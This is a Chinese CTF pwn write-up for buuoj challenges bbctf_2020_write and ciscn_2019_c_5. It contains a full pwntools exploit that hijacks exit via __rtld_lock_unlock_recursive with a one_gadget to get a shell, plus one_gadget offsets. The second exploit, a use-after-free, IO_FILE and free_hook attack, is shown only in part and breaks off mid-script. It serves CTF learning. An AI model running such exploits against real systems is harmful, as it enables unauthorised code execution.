buuoj Pwn writeup 201-205

本文详细分析了多个CTF挑战,涉及栈溢出、未初始化指针利用、堆管理漏洞及libc地址泄露等技术。通过创建shellcode、劫持程序流程、利用fastbin攻击泄露libc地址,最终实现getshell。文章揭示了多种常见的二进制安全漏洞利用方法。

201 bbctf_2020_write

在这里插入图片描述
canary是没有开的。环境是2.27的一个环境。

在这里插入图片描述
可以看到首先进去会给一个puts的地址,然后我们就可以获得libc的基地址。
又给出了一个栈地址,我们考虑可以直接去劫持got表,但是发现got表不能写。

那我们去考虑劫持main函数返回地址,但是又发现最后用exit去结束的。
exit没有hook,我们考虑怎么能把exit劫持掉。
劫持exit

简单点说就是。
exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive
由于__rtld_lock_unlock_recursive存放在结构体空间,为可读可写,那么如果可以修改__rtld_lock_unlock_recursive,就可以在调用exit()时劫持程序流。

exp

from pwn import*

context.log_level = "debug"

#r = process("./201")
r = remote("node4.buuoj.cn", "29284")


libc = ELF("./64/libc-2.27.so")

r.recvuntil("0x")
puts_addr = int(r.recv(12), 16)
r.recvuntil("0x")
stack_addr = int(r.recv(12), 16)

ret_addr = stack_addr + 0x20
libc_base = puts_addr - libc.sym['puts']
one_gadget = libc_base + 0x4f322
print "libc_base = " + hex(libc_base)
exit_hook = libc_base + 0x619f68

r.recvuntil("(q)uit\n")
r.sendline("w")

r.sendline(str(exit_hook))
r.sendline(str(one_gadget))

#gdb.attach(r)

r.recvuntil("(q)uit\n")
r.sendline("q")

r.interactive()


'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

202 ciscn_2019_c_5

在这里插入图片描述

在这里插入图片描述
名字跟id就有了。

add
在这里插入图片描述大小,chunk地址,都子啊bss上,一个chunk的信息也都相邻。

没有edit、show。

free
在这里插入图片描述free这里有个uaf。

没有输出的话我们还是考虑需要去攻击IO_FILE。

劫持IO_FILE的时候因为我们只修改后20bit,但是没办法只能改到24bit,所以我们还必须爆破一下。

通过fastbin攻击来泄露libc地址,然后故技重施劫持free_hook,来gelshell。

exp

# -*- coding: utf-8 -*-
from pwn import*

#context.log_level = "debug"

def add(size, content):
    r.sendlineafter("Input your choice:", "1")
    r.sendlineafter("Please input the size of story: \n", str(size))
    r.sendafter("please inpute the story: \n", content)

def delete(index):
    r.sendlineafter("Input your choice:", "4")
    r.sendlineafter("Please input the index:\n", str(index))


libc = ELF('./64/libc-2.27.so')
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_']
free_hook_s = libc.symbols['__free_hook']

def exp():
    r.sendlineafter("What's your name?\n", "Yongibaoi")
    r.sendlineafter("Please input your ID.\n", "0")

    add(0x7F,
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值